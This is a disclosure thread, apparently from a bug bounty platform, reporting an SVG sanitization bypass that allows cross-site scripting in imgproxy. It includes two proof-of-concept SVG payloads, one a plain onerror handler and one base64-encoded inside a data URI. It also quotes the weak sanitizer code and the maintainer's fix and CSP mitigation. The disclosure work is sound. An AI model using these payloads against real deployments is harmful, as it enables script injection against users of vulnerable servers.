SVG Sanitization Bypass - XSS in imgproxy/imgproxy
Reported on
Jan 12th 2023
Description
In imgproxy application, we bypassed the svg sanitization function. In this way, attacker can craft malicious svg file and run javascript on the application.
Proof of Concept
Here is the content of the malicious svg file.
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="1" onerror="alert(1)" />
</svg>
After that you can call this svg file like below.
http://127.0.0.1:8080/unsafe/plain/<svg-file-url>/test.svg
Impact
In this way, attacker can craft malicious svg file and run javascript on the application.
Hi again,
We realized that your latest commit prevent this payload on latest version.So this vulnerability report is valid for v3.12.0 version. :)
https://github.com/imgproxy/imgproxy/blob/f89ced23e49a834f2e7c40862597d24774416396/svg/svg.go#L30
SECURITY.md
4 months ago
Hi again,
We also bypassed the latest version.
https://github.com/imgproxy/imgproxy/blob/master/svg/svg.go#L30
PoC Payload
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyBpZD0ndGVzdCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#test"/>
</svg>
http://127.0.0.1:8080/unsafe/plain/<svg-file-url>/test.svg
Code
case xml.StartTagToken:
if strings.ToLower(string(l.Text())) == "script" {
ignoreTag++
continue
}
buf.Write(tdata)
case xml.AttributeToken:
if _, unsafe := unsafeAttrs[strings.ToLower(string(l.Text()))]; unsafe {
continue
}
buf.Write(tdata)
SECURITY.md
for
imgproxy
to merge.
4 months ago
Hi there,
Regarding this issue, they requested that the vulnerability be reported via e-mail. Will you send an e-mail or shall we send an e-mail?
Hi Emre!
Thanks for catching this! I added the fix with https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
Also, imgproxy sets the Content-Security-Policy
header since v3.13.0, so this vulnerability shouldn't work if the browser respects Content-Security-Policy
.
Hi there,
Thanks for the fix. Can you set this report as resolved?
Regards
Hi huntr.dev team,
How can we get CVE?
Can you help with CVE?
Regards
CVE assignment is in the hands of the maintainer at the fix and publish stage of the report, please request this from the maintainer, rather than admins, thanks!